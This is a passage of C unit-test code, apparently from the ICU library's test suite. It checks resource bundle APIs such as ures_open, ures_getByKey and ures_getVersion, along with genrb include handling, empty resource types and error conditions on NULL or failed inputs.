got = tres_getString(theBundle,-1,"test_unescaping",&len,&status);
expectedLen = u_unescape(pattern,expectedEscaped,patternLen);
if(got==NULL || u_strncmp(expectedEscaped,got,expectedLen)!=0 || expectedLen != len){
log_err("genrb failed to unescape string\n");
}
if(got != NULL){
for(i=0;i<expectedLen;i++){
if(expectedEscaped[i] != got[i]){
log_verbose("Expected: 0x%04X Got: 0x%04X \n",expectedEscaped[i], got[i]);
}
}
}
free(expectedEscaped);
status = U_ZERO_ERROR;
}
/* test for jitterbug#1435 */
{
const UChar* str = tres_getString(theBundle,-1,"test_underscores",&len,&status);
expect ="test message ....";
u_charsToUChars(expect,uExpect,(int32_t)strlen(expect)+1);
CONFIRM_ErrorCode(status, U_ZERO_ERROR);
if(str == NULL || u_strcmp(uExpect,str)){
log_err("Did not get the expected string for test_underscores.\n");
}
}
/* test for jitterbug#2626 */
#if !UCONFIG_NO_COLLATION
{
UResourceBundle* resB = NULL;
const UChar* str = NULL;
int32_t strLength = 0;
const UChar my[] = {0x0026,0x0027,0x0075,0x0027,0x0020,0x003d,0x0020,0x0027,0xff55,0x0027,0x0000}; /* &'\u0075' = '\uFF55' */
status = U_ZERO_ERROR;
resB = ures_getByKey(theBundle, "collations", resB, &status);
resB = ures_getByKey(resB, "standard", resB, &status);
str = tres_getString(resB,-1,"Sequence",&strLength,&status);
if(!str || U_FAILURE(status)) {
log_data_err("Could not load collations from theBundle: %s\n", u_errorName(status));
} else if(u_strcmp(my,str) != 0){
log_err("Did not get the expected string for escaped \\u0075\n");
}
ures_close(resB);
}
#endif
{
const char *sourcePath = ctest_dataSrcDir();
int32_t srcPathLen = (int32_t)strlen(sourcePath);
const char *deltaPath = ".."U_FILE_SEP_STRING"test"U_FILE_SEP_STRING"testdata"U_FILE_SEP_STRING;
int32_t deltaPathLen = (int32_t)strlen(deltaPath);
char *testDataFileName = (char *) malloc( srcPathLen+ deltaPathLen + 50 );
char *path = testDataFileName;
strcpy(path, sourcePath);
path += srcPathLen;
strcpy(path, deltaPath);
path += deltaPathLen;
status = U_ZERO_ERROR;
{
int32_t strLen =0;
const UChar* str = tres_getString(theBundle, -1, "testincludeUTF",&strLen,&status);
strcpy(path, "riwords.txt");
path[strlen("riwords.txt")]=0;
if(U_FAILURE(status)){
log_err("Could not get testincludeUTF resource from testtypes bundle. Error: %s\n",u_errorName(status));
}else{
/* open the file */
const char* cp = NULL;
UCHARBUF* ucbuf = ucbuf_open(testDataFileName,&cp,FALSE,FALSE,&status);
len = 0;
if(U_SUCCESS(status)){
const UChar* buffer = ucbuf_getBuffer(ucbuf,&len,&status);
if(U_SUCCESS(status)){
/* verify the contents */
if(strLen != len ){
log_err("Did not get the expected len for riwords. Expected: %i , Got: %i\n", len ,strLen);
}
/* test string termination */
if(u_strlen(str) != strLen || str[strLen]!= 0 ){
log_err("testinclude not null terminated!\n");
}
if(u_strncmp(str, buffer,strLen)!=0){
log_err("Did not get the expected string from riwords. Include functionality failed for genrb.\n");
}
}else{
log_err("ucbuf failed to open %s. Error: %s\n", testDataFileName, u_errorName(status));
}
ucbuf_close(ucbuf);
}else{
log_err("Could not get riwords.txt (path : %s). Error: %s\n",testDataFileName,u_errorName(status));
}
}
}
status = U_ZERO_ERROR;
{
int32_t strLen =0;
const UChar* str = tres_getString(theBundle, -1, "testinclude",&strLen,&status);
strcpy(path, "translit_rules.txt");
path[strlen("translit_rules.txt")]=0;
if(U_FAILURE(status)){
log_err("Could not get testinclude resource from testtypes bundle. Error: %s\n",u_errorName(status));
}else{
/* open the file */
const char* cp=NULL;
UCHARBUF* ucbuf = ucbuf_open(testDataFileName,&cp,FALSE,FALSE,&status);
len = 0;
if(U_SUCCESS(status)){
const UChar* buffer = ucbuf_getBuffer(ucbuf,&len,&status);
if(U_SUCCESS(status)){
/* verify the contents */
if(strLen != len ){
log_err("Did not get the expected len for translit_rules. Expected: %i , Got: %i\n", len ,strLen);
}
if(u_strncmp(str, buffer,strLen)!=0){
log_err("Did not get the expected string from translit_rules. Include functionality failed for genrb.\n");
}
}else{
log_err("ucbuf failed to open %s. Error: %s\n", testDataFileName, u_errorName(status));
}
ucbuf_close(ucbuf);
}else{
log_err("Could not get translit_rules.txt (path : %s). Error: %s\n",testDataFileName,u_errorName(status));
}
}
}
free(testDataFileName);
}
ures_close(res);
ures_close(theBundle);
}
static void TestEmptyTypes() {
UResourceBundle* theBundle = NULL;
char action[256];
const char* testdatapath;
UErrorCode status = U_ZERO_ERROR;
UResourceBundle* res = NULL;
UResourceBundle* resArray = NULL;
const uint8_t *binResult = NULL;
int32_t len = 0;
int32_t intResult = 0;
const UChar *zeroString;
const int32_t *zeroIntVect;
strcpy(action, "Construction of testtypes bundle");
testdatapath=loadTestData(&status);
if(U_FAILURE(status))
{
log_data_err("Could not load testdata.dat %s \n",myErrorName(status));
return;
}
theBundle = ures_open(testdatapath, "testtypes", &status);
CONFIRM_ErrorCode(status, U_ZERO_ERROR);
CONFIRM_INT_NE(theBundle, NULL);
/* This test reads the string "abc\u0000def" from the bundle */
/* if everything is working correctly, the size of this string */
/* should be 7. Everything else is a wrong answer, esp. 3 and 6*/
status = U_ZERO_ERROR;
strcpy(action, "getting and testing of explicit string of zero length string");
res = ures_getByKey(theBundle, "emptyexplicitstring", res, &status);
CONFIRM_ErrorCode(status, U_ZERO_ERROR);
CONFIRM_INT_EQ(ures_getType(res), URES_STRING);
zeroString=tres_getString(res, -1, NULL, &len, &status);
if(U_SUCCESS(status)){
CONFIRM_ErrorCode(status, U_ZERO_ERROR);
CONFIRM_INT_EQ(len, 0);
CONFIRM_INT_EQ(u_strlen(zeroString), 0);
}
else {
log_err("Couldn't get emptyexplicitstring\n");
}
status = U_ZERO_ERROR;
strcpy(action, "getting and testing of normal string of zero length string");
res = ures_getByKey(theBundle, "emptystring", res, &status);
CONFIRM_ErrorCode(status, U_ZERO_ERROR);
CONFIRM_INT_EQ(ures_getType(res), URES_STRING);
zeroString=tres_getString(res, -1, NULL, &len, &status);
if(U_SUCCESS(status)){
CONFIRM_ErrorCode(status, U_ZERO_ERROR);
CONFIRM_INT_EQ(len, 0);
CONFIRM_INT_EQ(u_strlen(zeroString), 0);
}
else {
log_err("Couldn't get emptystring\n");
}
status = U_ZERO_ERROR;
strcpy(action, "getting and testing of empty int");
res = ures_getByKey(theBundle, "emptyint", res, &status);
CONFIRM_ErrorCode(status, U_ZERO_ERROR);
CONFIRM_INT_EQ(ures_getType(res), URES_INT);
intResult=ures_getInt(res, &status);
if(U_SUCCESS(status)){
CONFIRM_ErrorCode(status, U_ZERO_ERROR);
CONFIRM_INT_EQ(intResult, 0);
}
else {
log_err("Couldn't get emptystring\n");
}
status = U_ZERO_ERROR;
strcpy(action, "getting and testing of zero length intvector");
res = ures_getByKey(theBundle, "emptyintv", res, &status);
CONFIRM_ErrorCode(status, U_ZERO_ERROR);
CONFIRM_INT_EQ(ures_getType(res), URES_INT_VECTOR);
if(U_FAILURE(status)){
log_err("Couldn't get emptyintv key %s\n", u_errorName(status));
}
else {
zeroIntVect=ures_getIntVector(res, &len, &status);
if(!U_SUCCESS(status) || resArray != NULL || len != 0) {
log_err("Shouldn't get emptyintv\n");
}
}
status = U_ZERO_ERROR;
strcpy(action, "getting and testing of zero length emptybin");
res = ures_getByKey(theBundle, "emptybin", res, &status);
CONFIRM_ErrorCode(status, U_ZERO_ERROR);
CONFIRM_INT_EQ(ures_getType(res), URES_BINARY);
if(U_FAILURE(status)){
log_err("Couldn't get emptybin key %s\n", u_errorName(status));
}
else {
binResult=ures_getBinary(res, &len, &status);
if(!U_SUCCESS(status) || len != 0) {
log_err("Couldn't get emptybin, or it's not empty\n");
}
}
status = U_ZERO_ERROR;
strcpy(action, "getting and testing of zero length emptyarray");
res = ures_getByKey(theBundle, "emptyarray", res, &status);
CONFIRM_ErrorCode(status, U_ZERO_ERROR);
CONFIRM_INT_EQ(ures_getType(res), URES_ARRAY);
if(U_FAILURE(status)){
log_err("Couldn't get emptyarray key %s\n", u_errorName(status));
}
else {
resArray=ures_getByIndex(res, 0, resArray, &status);
if(U_SUCCESS(status) || resArray != NULL){
log_err("Shouldn't get emptyarray[0]\n");
}
}
status = U_ZERO_ERROR;
strcpy(action, "getting and testing of zero length emptytable");
res = ures_getByKey(theBundle, "emptytable", res, &status);
CONFIRM_ErrorCode(status, U_ZERO_ERROR);
CONFIRM_INT_EQ(ures_getType(res), URES_TABLE);
if(U_FAILURE(status)){
log_err("Couldn't get emptytable key %s\n", u_errorName(status));
}
else {
resArray=ures_getByIndex(res, 0, resArray, &status);
if(U_SUCCESS(status) || resArray != NULL){
log_err("Shouldn't get emptytable[0]\n");
}
}
ures_close(res);
ures_close(theBundle);
}
static void TestEmptyBundle(){
UErrorCode status = U_ZERO_ERROR;
const char* testdatapath=NULL;
UResourceBundle *resb=0, *dResB=0;
testdatapath=loadTestData(&status);
if(U_FAILURE(status))
{
log_data_err("Could not load testdata.dat %s \n",myErrorName(status));
return;
}
resb = ures_open(testdatapath, "testempty", &status);
if(U_SUCCESS(status)){
dResB = ures_getByKey(resb,"test",dResB,&status);
if(status!= U_MISSING_RESOURCE_ERROR){
log_err("Did not get the expected error from an empty resource bundle. Expected : %s Got: %s\n",
u_errorName(U_MISSING_RESOURCE_ERROR),u_errorName(status));
}
}
ures_close(dResB);
ures_close(resb);
}
static void TestBinaryCollationData(){
UErrorCode status=U_ZERO_ERROR;
const char* locale="te";
#if !UCONFIG_NO_COLLATION
const char* testdatapath;
#endif
UResourceBundle *teRes = NULL;
UResourceBundle *coll=NULL;
UResourceBundle *binColl = NULL;
uint8_t *binResult = NULL;
int32_t len=0;
const char* action="testing the binary collaton data";
#if !UCONFIG_NO_COLLATION
log_verbose("Testing binary collation data resource......\n");
testdatapath=loadTestData(&status);
if(U_FAILURE(status))
{
log_data_err("Could not load testdata.dat %s \n",myErrorName(status));
return;
}
teRes=ures_open(testdatapath, locale, &status);
if(U_FAILURE(status)){
log_err("ERROR: Failed to get resource for \"te\" with %s", myErrorName(status));
return;
}
status=U_ZERO_ERROR;
coll = ures_getByKey(teRes, "collations", coll, &status);
coll = ures_getByKey(coll, "standard", coll, &status);
if(U_SUCCESS(status)){
CONFIRM_ErrorCode(status, U_ZERO_ERROR);
CONFIRM_INT_EQ(ures_getType(coll), URES_TABLE);
binColl=ures_getByKey(coll, "%%CollationBin", binColl, &status);
if(U_SUCCESS(status)){
CONFIRM_ErrorCode(status, U_ZERO_ERROR);
CONFIRM_INT_EQ(ures_getType(binColl), URES_BINARY);
binResult=(uint8_t*)ures_getBinary(binColl, &len, &status);
if(U_SUCCESS(status)){
CONFIRM_ErrorCode(status, U_ZERO_ERROR);
CONFIRM_INT_GE(len, 1);
}
}else{
log_err("ERROR: ures_getByKey(locale(te), %%CollationBin) failed\n");
}
}
else{
log_err("ERROR: ures_getByKey(locale(te), collations) failed\n");
return;
}
ures_close(binColl);
ures_close(coll);
ures_close(teRes);
#endif
}
static void TestAPI() {
UErrorCode status=U_ZERO_ERROR;
int32_t len=0;
const char* key=NULL;
const UChar* value=NULL;
const char* testdatapath;
UChar* utestdatapath=NULL;
char convOutput[256];
UChar largeBuffer[1025];
UResourceBundle *teRes = NULL;
UResourceBundle *teFillin=NULL;
UResourceBundle *teFillin2=NULL;
log_verbose("Testing ures_openU()......\n");
testdatapath=loadTestData(&status);
if(U_FAILURE(status))
{
log_data_err("Could not load testdata.dat %s \n",myErrorName(status));
return;
}
len =(int32_t)strlen(testdatapath);
utestdatapath = (UChar*) malloc((len+10)*sizeof(UChar));
u_charsToUChars(testdatapath, utestdatapath, (int32_t)strlen(testdatapath)+1);
#if (U_FILE_SEP_CHAR != U_FILE_ALT_SEP_CHAR) && U_FILE_SEP_CHAR == '\\'
{
/* Convert all backslashes to forward slashes so that we can make sure that ures_openU
can handle invariant characters. */
UChar *backslash;
while ((backslash = u_strchr(utestdatapath, 0x005C))) {
*backslash = 0x002F;
}
}
#endif
u_memset(largeBuffer, 0x0030, sizeof(largeBuffer)/sizeof(largeBuffer[0]));
largeBuffer[sizeof(largeBuffer)/sizeof(largeBuffer[0])-1] = 0;
/*Test ures_openU */
status = U_ZERO_ERROR;
ures_close(ures_openU(largeBuffer, "root", &status));
if(status != U_ILLEGAL_ARGUMENT_ERROR){
log_err("ERROR: ures_openU() worked when the path is very large. It returned %s\n", myErrorName(status));
}
status = U_ZERO_ERROR;
ures_close(ures_openU(NULL, "root", &status));
if(U_FAILURE(status)){
log_err_status(status, "ERROR: ures_openU() failed path = NULL with %s\n", myErrorName(status));
}
status = U_ILLEGAL_ARGUMENT_ERROR;
if(ures_openU(NULL, "root", &status) != NULL){
log_err("ERROR: ures_openU() worked with error status with %s\n", myErrorName(status));
}
status = U_ZERO_ERROR;
teRes=ures_openU(utestdatapath, "te", &status);
if(U_FAILURE(status)){
log_err_status(status, "ERROR: ures_openU() failed path =%s with %s\n", austrdup(utestdatapath), myErrorName(status));
return;
}
/*Test ures_getLocale() */
log_verbose("Testing ures_getLocale() .....\n");
if(strcmp(ures_getLocale(teRes, &status), "te") != 0){
log_err("ERROR: ures_getLocale() failed. Expected = te_TE Got = %s\n", ures_getLocale(teRes, &status));
}
/*Test ures_getNextString() */
teFillin=ures_getByKey(teRes, "tagged_array_in_te_te_IN", teFillin, &status);
key=ures_getKey(teFillin);
value=(UChar*)ures_getNextString(teFillin, &len, &key, &status);
ures_resetIterator(NULL);
value=(UChar*)ures_getNextString(teFillin, &len, &key, &status);
if(status !=U_INDEX_OUTOFBOUNDS_ERROR){
log_err("ERROR: calling getNextString where index out of bounds should return U_INDEX_OUTOFBOUNDS_ERROR, Got : %s\n",
myErrorName(status));
}
ures_resetIterator(teRes);
/*Test ures_getNextResource() where resource is table*/
status=U_ZERO_ERROR;
#if (U_CHARSET_FAMILY == U_ASCII_FAMILY)
/* The next key varies depending on the charset. */
teFillin=ures_getNextResource(teRes, teFillin, &status);
if(U_FAILURE(status)){
log_err("ERROR: ures_getNextResource() failed \n");
}
key=ures_getKey(teFillin);
/*if(strcmp(key, "%%CollationBin") != 0){*/
/*if(strcmp(key, "array_2d_in_Root_te") != 0){*/ /* added "aliasClient" that goes first */
if(strcmp(key, "a") != 0){
log_err("ERROR: ures_getNextResource() failed\n");
}
#endif
/*Test ures_getByIndex on string Resource*/
teFillin=ures_getByKey(teRes, "string_only_in_te", teFillin, &status);
teFillin2=ures_getByIndex(teFillin, 0, teFillin2, &status);
if(U_FAILURE(status)){
log_err("ERROR: ures_getByIndex on string resource failed\n");
}
if(strcmp(u_austrcpy(convOutput, tres_getString(teFillin2, -1, NULL, &len, &status)), "TE") != 0){
status=U_ZERO_ERROR;
log_err("ERROR: ures_getByIndex on string resource fetched the key=%s, expected \"TE\" \n", austrdup(ures_getString(teFillin2, &len, &status)));
}
/*ures_close(teRes);*/
/*Test ures_openFillIn*/
log_verbose("Testing ures_openFillIn......\n");
status=U_ZERO_ERROR;
ures_openFillIn(teRes, testdatapath, "te", &status);
if(U_FAILURE(status)){
log_err("ERROR: ures_openFillIn failed\n");
return;
}
if(strcmp(ures_getLocale(teRes, &status), "te") != 0){
log_err("ERROR: ures_openFillIn did not open the ResourceBundle correctly\n");
}
ures_getByKey(teRes, "string_only_in_te", teFillin, &status);
teFillin2=ures_getNextResource(teFillin, teFillin2, &status);
if(ures_getType(teFillin2) != URES_STRING){
log_err("ERROR: getType for getNextResource after ures_openFillIn failed\n");
}
teFillin2=ures_getNextResource(teFillin, teFillin2, &status);
if(status !=U_INDEX_OUTOFBOUNDS_ERROR){
log_err("ERROR: calling getNextResource where index out of bounds should return U_INDEX_OUTOFBOUNDS_ERROR, Got : %s\n",
myErrorName(status));
}
ures_close(teFillin);
ures_close(teFillin2);
ures_close(teRes);
/* Test that ures_getLocale() returns the "real" locale ID */
status=U_ZERO_ERROR;
teRes=ures_open(NULL, "dE_At_NOWHERE_TO_BE_FOUND", &status);
if(U_FAILURE(status)) {
log_data_err("unable to open a locale resource bundle from \"dE_At_NOWHERE_TO_BE_FOUND\"(%s)\n", u_errorName(status));
} else {
if(0!=strcmp("de_AT", ures_getLocale(teRes, &status))) {
log_data_err("ures_getLocale(\"dE_At_NOWHERE_TO_BE_FOUND\")=%s but must be de_AT\n", ures_getLocale(teRes, &status));
}
ures_close(teRes);
}
/* same test, but with an aliased locale resource bundle */
status=U_ZERO_ERROR;
teRes=ures_open(NULL, "iW_Il_depRecaTed_HebreW", &status);
if(U_FAILURE(status)) {
log_data_err("unable to open a locale resource bundle from \"iW_Il_depRecaTed_HebreW\"(%s)\n", u_errorName(status));
} else {
if(0!=strcmp("he_IL", ures_getLocale(teRes, &status))) {
log_data_err("ures_getLocale(\"iW_Il_depRecaTed_HebreW\")=%s but must be he_IL\n", ures_getLocale(teRes, &status));
}
ures_close(teRes);
}
free(utestdatapath);
}
static void TestErrorConditions(){
UErrorCode status=U_ZERO_ERROR;
const char *key=NULL;
const UChar *value=NULL;
const char* testdatapath;
UChar* utestdatapath;
int32_t len=0;
UResourceBundle *teRes = NULL;
UResourceBundle *coll=NULL;
UResourceBundle *binColl = NULL;
UResourceBundle *teFillin=NULL;
UResourceBundle *teFillin2=NULL;
uint8_t *binResult = NULL;
int32_t resultLen;
testdatapath = loadTestData(&status);
if(U_FAILURE(status))
{
log_data_err("Could not load testdata.dat %s \n",myErrorName(status));
return;
}
len = (int32_t)strlen(testdatapath);
utestdatapath = (UChar*) malloc(sizeof(UChar) *(len+10));
u_uastrcpy(utestdatapath, testdatapath);
/*Test ures_openU with status != U_ZERO_ERROR*/
log_verbose("Testing ures_openU() with status != U_ZERO_ERROR.....\n");
status=U_ILLEGAL_ARGUMENT_ERROR;
teRes=ures_openU(utestdatapath, "te", &status);
if(U_FAILURE(status)){
log_verbose("ures_openU() failed as expected path =%s with status != U_ZERO_ERROR\n", testdatapath);
}else{
log_err("ERROR: ures_openU() is supposed to fail path =%s with status != U_ZERO_ERROR\n", austrdup(utestdatapath));
ures_close(teRes);
}
/*Test ures_openFillIn with UResourceBundle = NULL*/
log_verbose("Testing ures_openFillIn with UResourceBundle = NULL.....\n");
status=U_ZERO_ERROR;
ures_openFillIn(NULL, testdatapath, "te", &status);
if(status != U_ILLEGAL_ARGUMENT_ERROR){
log_err("ERROR: ures_openFillIn with UResourceBundle= NULL should fail. Expected U_ILLEGAL_ARGUMENT_ERROR, Got: %s\n",
myErrorName(status));
}
/*Test ures_getLocale() with status != U_ZERO_ERROR*/
status=U_ZERO_ERROR;
teRes=ures_openU(utestdatapath, "te", &status);
if(U_FAILURE(status)){
log_err("ERROR: ures_openU() failed path =%s with %s\n", austrdup(utestdatapath), myErrorName(status));
return;
}
status=U_ILLEGAL_ARGUMENT_ERROR;
if(ures_getLocale(teRes, &status) != NULL){
log_err("ERROR: ures_getLocale is supposed to fail with errorCode != U_ZERO_ERROR\n");
}
/*Test ures_getLocale() with UResourceBundle = NULL*/
status=U_ZERO_ERROR;
if(ures_getLocale(NULL, &status) != NULL && status != U_ILLEGAL_ARGUMENT_ERROR){
log_err("ERROR: ures_getLocale is supposed to fail when UResourceBundle = NULL. Expected: errorCode = U_ILLEGAL_ARGUMENT_ERROR, Got: errorCode=%s\n",
myErrorName(status));
}
/*Test ures_getSize() with UResourceBundle = NULL */
status=U_ZERO_ERROR;
if(ures_getSize(NULL) != 0){
log_err("ERROR: ures_getSize() should return 0 when UResourceBundle=NULL. Got =%d\n", ures_getSize(NULL));
}
/*Test ures_getType() with UResourceBundle = NULL should return URES_NONE==-1*/
status=U_ZERO_ERROR;
if(ures_getType(NULL) != URES_NONE){
log_err("ERROR: ures_getType() should return URES_NONE when UResourceBundle=NULL. Got =%d\n", ures_getType(NULL));
}
/*Test ures_getKey() with UResourceBundle = NULL*/
status=U_ZERO_ERROR;
if(ures_getKey(NULL) != NULL){
log_err("ERROR: ures_getKey() should return NULL when UResourceBundle=NULL. Got =%d\n", ures_getKey(NULL));
}
/*Test ures_hasNext() with UResourceBundle = NULL*/
status=U_ZERO_ERROR;
if(ures_hasNext(NULL) != FALSE){
log_err("ERROR: ures_hasNext() should return FALSE when UResourceBundle=NULL. Got =%d\n", ures_hasNext(NULL));
}
/*Test ures_get() with UResourceBundle = NULL*/
status=U_ZERO_ERROR;
if(ures_getStringByKey(NULL, "string_only_in_te", &resultLen, &status) != NULL && status != U_ILLEGAL_ARGUMENT_ERROR){
log_err("ERROR: ures_get is supposed to fail when UResourceBundle = NULL. Expected: errorCode = U_ILLEGAL_ARGUMENT_ERROR, Got: errorCode=%s\n",
myErrorName(status));
}
/*Test ures_getByKey() with UResourceBundle = NULL*/
status=U_ZERO_ERROR;
teFillin=ures_getByKey(NULL, "string_only_in_te", teFillin, &status);
if( teFillin != NULL && status != U_ILLEGAL_ARGUMENT_ERROR){
log_err("ERROR: ures_getByKey is supposed to fail when UResourceBundle = NULL. Expected: errorCode = U_ILLEGAL_ARGUMENT_ERROR, Got: errorCode=%s\n",
myErrorName(status));
}
/*Test ures_getByKey() with status != U_ZERO_ERROR*/
teFillin=ures_getByKey(NULL, "string_only_in_te", teFillin, &status);
if(teFillin != NULL ){
log_err("ERROR: ures_getByKey is supposed to fail when errorCode != U_ZERO_ERROR\n");
}
/*Test ures_getStringByKey() with UResourceBundle = NULL*/
status=U_ZERO_ERROR;
if(ures_getStringByKey(NULL, "string_only_in_te", &len, &status) != NULL && status != U_ILLEGAL_ARGUMENT_ERROR){
log_err("ERROR: ures_getStringByKey is supposed to fail when UResourceBundle = NULL. Expected: errorCode = U_ILLEGAL_ARGUMENT_ERROR, Got: errorCode=%s\n",
myErrorName(status));
}
/*Test ures_getStringByKey() with status != U_ZERO_ERROR*/
if(ures_getStringByKey(teRes, "string_only_in_te", &len, &status) != NULL){
log_err("ERROR: ures_getStringByKey is supposed to fail when status != U_ZERO_ERROR. Expected: errorCode = U_ILLEGAL_ARGUMENT_ERROR, Got: errorCode=%s\n",
myErrorName(status));
}
/*Test ures_getString() with UResourceBundle = NULL*/
status=U_ZERO_ERROR;
if(ures_getString(NULL, &len, &status) != NULL && status != U_ILLEGAL_ARGUMENT_ERROR){
log_err("ERROR: ures_getString is supposed to fail when UResourceBundle = NULL. Expected: errorCode = U_ILLEGAL_ARGUMENT_ERROR, Got: errorCode=%s\n",
myErrorName(status));
}
/*Test ures_getString() with status != U_ZERO_ERROR*/
if(ures_getString(teRes, &len, &status) != NULL){
log_err("ERROR: ures_getString is supposed to fail when status != U_ZERO_ERROR. Expected: errorCode = U_ILLEGAL_ARGUMENT_ERROR, Got: errorCode=%s\n",
myErrorName(status));
}
/*Test ures_getBinary() with UResourceBundle = NULL*/
status=U_ZERO_ERROR;
if(ures_getBinary(NULL, &len, &status) != NULL && status != U_ILLEGAL_ARGUMENT_ERROR){
log_err("ERROR: ures_getBinary is supposed to fail when UResourceBundle = NULL. Expected: errorCode = U_ILLEGAL_ARGUMENT_ERROR, Got: errorCode=%s\n",
myErrorName(status));
}
/*Test ures_getBinary(0 status != U_ILLEGAL_ARGUMENT_ERROR*/
status=U_ZERO_ERROR;
coll = ures_getByKey(teRes, "collations", coll, &status);
coll = ures_getByKey(teRes, "standard", coll, &status);
binColl=ures_getByKey(coll, "%%CollationBin", binColl, &status);
status=U_ILLEGAL_ARGUMENT_ERROR;
binResult=(uint8_t*)ures_getBinary(binColl, &len, &status);
if(binResult != NULL){
log_err("ERROR: ures_getBinary() with status != U_ZERO_ERROR is supposed to fail\n");
}
/*Test ures_getNextResource() with status != U_ZERO_ERROR*/
teFillin=ures_getNextResource(teRes, teFillin, &status);
if(teFillin != NULL){
log_err("ERROR: ures_getNextResource() with errorCode != U_ZERO_ERROR is supposed to fail\n");
}
/*Test ures_getNextResource() with UResourceBundle = NULL*/
status=U_ZERO_ERROR;
teFillin=ures_getNextResource(NULL, teFillin, &status);
if(teFillin != NULL || status != U_ILLEGAL_ARGUMENT_ERROR){
log_err("ERROR: ures_getNextResource() with UResourceBundle = NULL is supposed to fail. Expected : U_IILEGAL_ARGUMENT_ERROR, Got : %s\n",
myErrorName(status));
}
/*Test ures_getNextString with errorCode != U_ZERO_ERROR*/
teFillin=ures_getByKey(teRes, "tagged_array_in_te_te_IN", teFillin, &status);
key=ures_getKey(teFillin);
status = U_ILLEGAL_ARGUMENT_ERROR;
value=(UChar*)ures_getNextString(teFillin, &len, &key, &status);
if(value != NULL){
log_err("ERROR: ures_getNextString() with errorCode != U_ZERO_ERROR is supposed to fail\n");
}
/*Test ures_getNextString with UResourceBundle = NULL*/
status=U_ZERO_ERROR;
value=(UChar*)ures_getNextString(NULL, &len, &key, &status);
if(value != NULL || status != U_ILLEGAL_ARGUMENT_ERROR){
log_err("ERROR: ures_getNextString() with UResourceBundle=NULL is supposed to fail\n Expected: U_ILLEGAL_ARGUMENT_ERROR, Got: %s\n",
myErrorName(status));
}
/*Test ures_getByIndex with errorCode != U_ZERO_ERROR*/
status=U_ZERO_ERROR;
teFillin=ures_getByKey(teRes, "array_only_in_te", teFillin, &status);
if(ures_countArrayItems(teRes, "array_only_in_te", &status) != 4) {
log_err("ERROR: Wrong number of items in an array!\n");
}
status=U_ILLEGAL_ARGUMENT_ERROR;
teFillin2=ures_getByIndex(teFillin, 0, teFillin2, &status);
if(teFillin2 != NULL){
log_err("ERROR: ures_getByIndex() with errorCode != U_ZERO_ERROR is supposed to fail\n");
}
/*Test ures_getByIndex with UResourceBundle = NULL */
status=U_ZERO_ERROR;
teFillin2=ures_getByIndex(NULL, 0, teFillin2, &status);
if(status != U_ILLEGAL_ARGUMENT_ERROR){
log_err("ERROR: ures_getByIndex() with UResourceBundle=NULL is supposed to fail\n Expected: U_ILLEGAL_ARGUMENT_ERROR, Got: %s\n",
myErrorName(status));
}
/*Test ures_getStringByIndex with errorCode != U_ZERO_ERROR*/
status=U_ZERO_ERROR;
teFillin=ures_getByKey(teRes, "array_only_in_te", teFillin, &status);
status=U_ILLEGAL_ARGUMENT_ERROR;
value=(UChar*)ures_getStringByIndex(teFillin, 0, &len, &status);
if( value != NULL){
log_err("ERROR: ures_getSringByIndex() with errorCode != U_ZERO_ERROR is supposed to fail\n");
}
/*Test ures_getStringByIndex with UResourceBundle = NULL */
status=U_ZERO_ERROR;
value=(UChar*)ures_getStringByIndex(NULL, 0, &len, &status);
if(value != NULL || status != U_ILLEGAL_ARGUMENT_ERROR){
log_err("ERROR: ures_getStringByIndex() with UResourceBundle=NULL is supposed to fail\n Expected: U_ILLEGAL_ARGUMENT_ERROR, Got: %s\n",
myErrorName(status));
}
/*Test ures_getStringByIndex with UResourceBundle = NULL */
status=U_ZERO_ERROR;
value=(UChar*)ures_getStringByIndex(teFillin, 9999, &len, &status);
if(value != NULL || status != U_MISSING_RESOURCE_ERROR){
log_err("ERROR: ures_getStringByIndex() with index that is too big is supposed to fail\n Expected: U_MISSING_RESOURCE_ERROR, Got: %s\n",
myErrorName(status));
}
/*Test ures_getInt() where UResourceBundle = NULL */
status=U_ZERO_ERROR;
if(ures_getInt(NULL, &status) != -1 && status != U_ILLEGAL_ARGUMENT_ERROR){
log_err("ERROR: ures_getInt() with UResourceBundle = NULL should fail. Expected: U_IILEGAL_ARGUMENT_ERROR, Got: %s\n",
myErrorName(status));
}
/*Test ures_getInt() where status != U_ZERO_ERROR */
if(ures_getInt(teRes, &status) != -1){
log_err("ERROR: ures_getInt() with errorCode != U_ZERO_ERROR should fail\n");
}
ures_close(teFillin);
ures_close(teFillin2);
ures_close(coll);
ures_close(binColl);
ures_close(teRes);
free(utestdatapath);
}
static void TestGetVersion(){
UVersionInfo minVersionArray = {0x01, 0x00, 0x00, 0x00};
UVersionInfo maxVersionArray = {0x50, 0xff, 0xcf, 0xcf};
UVersionInfo versionArray;
UErrorCode status= U_ZERO_ERROR;
UResourceBundle* resB = NULL;
int i=0, j = 0;
int locCount = uloc_countAvailable();
const char *locName = "root";
log_verbose("The ures_getVersion tests begin : \n");
for(j = -1; j < locCount; j++) {
if(j >= 0) {
locName = uloc_getAvailable(j);
}
log_verbose("Testing version number for locale %s\n", locName);
resB = ures_open(NULL,locName, &status);
if (U_FAILURE(status)) {
log_err_status(status, "Resource bundle creation for locale %s failed.: %s\n", locName, myErrorName(status));
ures_close(resB);
return;
}
ures_getVersion(resB, versionArray);
for (i=0; i<4; ++i) {
if (versionArray[i] < minVersionArray[i] ||
versionArray[i] > maxVersionArray[i])
{
log_err("Testing ures_getVersion(%-5s) - unexpected result: %d.%d.%d.%d\n",
locName, versionArray[0], versionArray[1], versionArray[2], versionArray[3]);
break;
}
}
ures_close(resB);
}
}
static void TestGetVersionColl(){
UVersionInfo minVersionArray = {0x00, 0x00, 0x00, 0x00};
UVersionInfo maxVersionArray = {0x50, 0x80, 0xcf, 0xcf};
UVersionInfo versionArray;
UErrorCode status= U_ZERO_ERROR;
UResourceBundle* resB = NULL;
UEnumeration *locs= NULL;
int i=0;
const char *locName = "root";
int32_t locLen;
const UChar* rules =NULL;
int32_t len = 0;
log_verbose("The ures_getVersion(%s) tests begin : \n", U_ICUDATA_COLL);
locs = ures_openAvailableLocales(U_ICUDATA_COLL, &status);
if (U_FAILURE(status)) {
log_err_status(status, "enumeration of %s failed.: %s\n", U_ICUDATA_COLL, myErrorName(status));
return;
}
do{
log_verbose("Testing version number for locale %s\n", locName);
resB = ures_open(U_ICUDATA_COLL,locName, &status);
if (U_FAILURE(status)) {
log_err("Resource bundle creation for locale %s:%s failed.: %s\n", U_ICUDATA_COLL, locName, myErrorName(status));
ures_close(resB);
return;
}
/* test NUL termination of UCARules */
rules = tres_getString(resB,-1,"UCARules",&len, &status);
if(!rules || U_FAILURE(status)) {
log_data_err("Could not load UCARules for locale %s\n", locName);
continue;
}
